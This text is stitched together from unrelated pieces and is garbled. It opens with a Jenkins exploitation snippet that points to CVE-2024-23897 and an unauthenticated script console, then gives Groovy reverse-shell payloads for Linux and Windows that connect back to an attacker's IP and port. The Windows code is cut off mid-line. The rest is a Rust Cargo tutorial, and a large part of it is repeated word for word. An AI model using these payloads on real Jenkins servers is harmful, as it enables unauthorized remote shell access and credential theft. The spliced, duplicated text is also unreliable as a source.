Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea...
Simple rust programs like hello world are having smaller source codes and doesn’t have much complexity and dependencies. But while coding larger and complex programs, there will be multiple dependencies and for managing that, it is wise to use Cargo. Cargo is a package manager tool that is used to perform the tasks such as building the code, downloading and building the libraries the code depends. The Cargo is usually included with the Rust installation. But if using IDEs, we need to install the required plugin to support the Cargo.
Building a Cargo project
Let’s create a new project using Cargo. In this example, I am creating a Cargo package named as ex2_cargo.
Cargo new ex2_cargo command will create the cargo package. Once the command is successfully executed, browse in to the newly created ex2_cargo directory. You can see a couple of files and a src folder inside the cargo package directory.
The source code will always reside inside the src folder. .gitignore is a Git directory which is autogenerated. The important configuration file of a cargo package is the Cargo.toml file. TOML stands for Tom’s Obvious, Minimal Language, which is Cargo’s configuration format. Open the Cargo.toml file in a text editor.
The first section [package] indicates that the following statements are configuring a cargo package. These sections are editable and if need to add more information, we can add it.
The following lines set the configuration information Cargo needs to compile your program. The name, version, author of the code, and the rust edition. Cargo gets the information such as name, author, email from your working environment.
The last line [dependencies], is the section to define the dependencies that is used in this project.
Also note that, while we created a new Cargo package, it also creates a sample source code “main.rs”, which is the hello world program, by default and it resides inside the src folder.
In this way Cargo organize the project. All your source code will reside inside the src folder. All other information related to the project is placed at the top-level Cargo directory.
Now let’s build and run the cargo project.
Cargo build command creates an executable file in target/debug/ex2_cargo.exe. Once the command is successfully executed, you may browse in to the debug folder.
You can see a new folder named target is created. The executable file will be created inside this, under the debug folder.
Run the ex2.cargo.exe and you can see the output successfully. Also note Cargo.lock file keeps track of the exact versions of dependencies in the project and it updates automatically.
Building a Cargo project
Let’s create a new project using Cargo. In this example, I am creating a Cargo package named as ex2_cargo.
Cargo new ex2_cargo command will create the cargo package. Once the command is successfully executed, browse in to the newly created ex2_cargo directory. You can see a couple of files and a src folder inside the cargo package directory.
The first section [package] indicates that the following statements are configuring a cargo package. These sections are editable and if need to add more information, we can add it.
The following lines set the configuration information Cargo needs to compile your program. The name, version, author of the code, and the rust edition. Cargo gets the information such as name, author, email from your working environment.
The last line [dependencies], is the section to define the dependencies that is used in this project.
Also note that, while we created a new Cargo package, it also creates a sample source code “main.rs”, which is the hello world program, by default and it resides inside the src folder.
In this way Cargo organize the project. All your source code will reside inside the src folder. All other information related to the project is placed at the top-level Cargo directory.
Now let’s build and run the cargo project.
Cargo build command creates an executable file in target/debug/ex2_cargo.exe. Once the command is successfully executed, you may browse in to the debug folder.
You can see a new folder named target is created. The executable file will be created inside this, under the debug folder.
Run the ex2.cargo.exe and you can see the output successfully. Also note Cargo.lock file keeps track of the exact versions of dependencies in the project and it updates automatically.
If you don’t want to create the executable and just want to compile the code, then you may use cargo check command. While writing larger code, you can run cargo check command to continuously monitor the code and the compilation success. This is the fastest way to check the code health.Alternatively, you can use the cargo run command to the output. This command will compile and run the code in a single shot.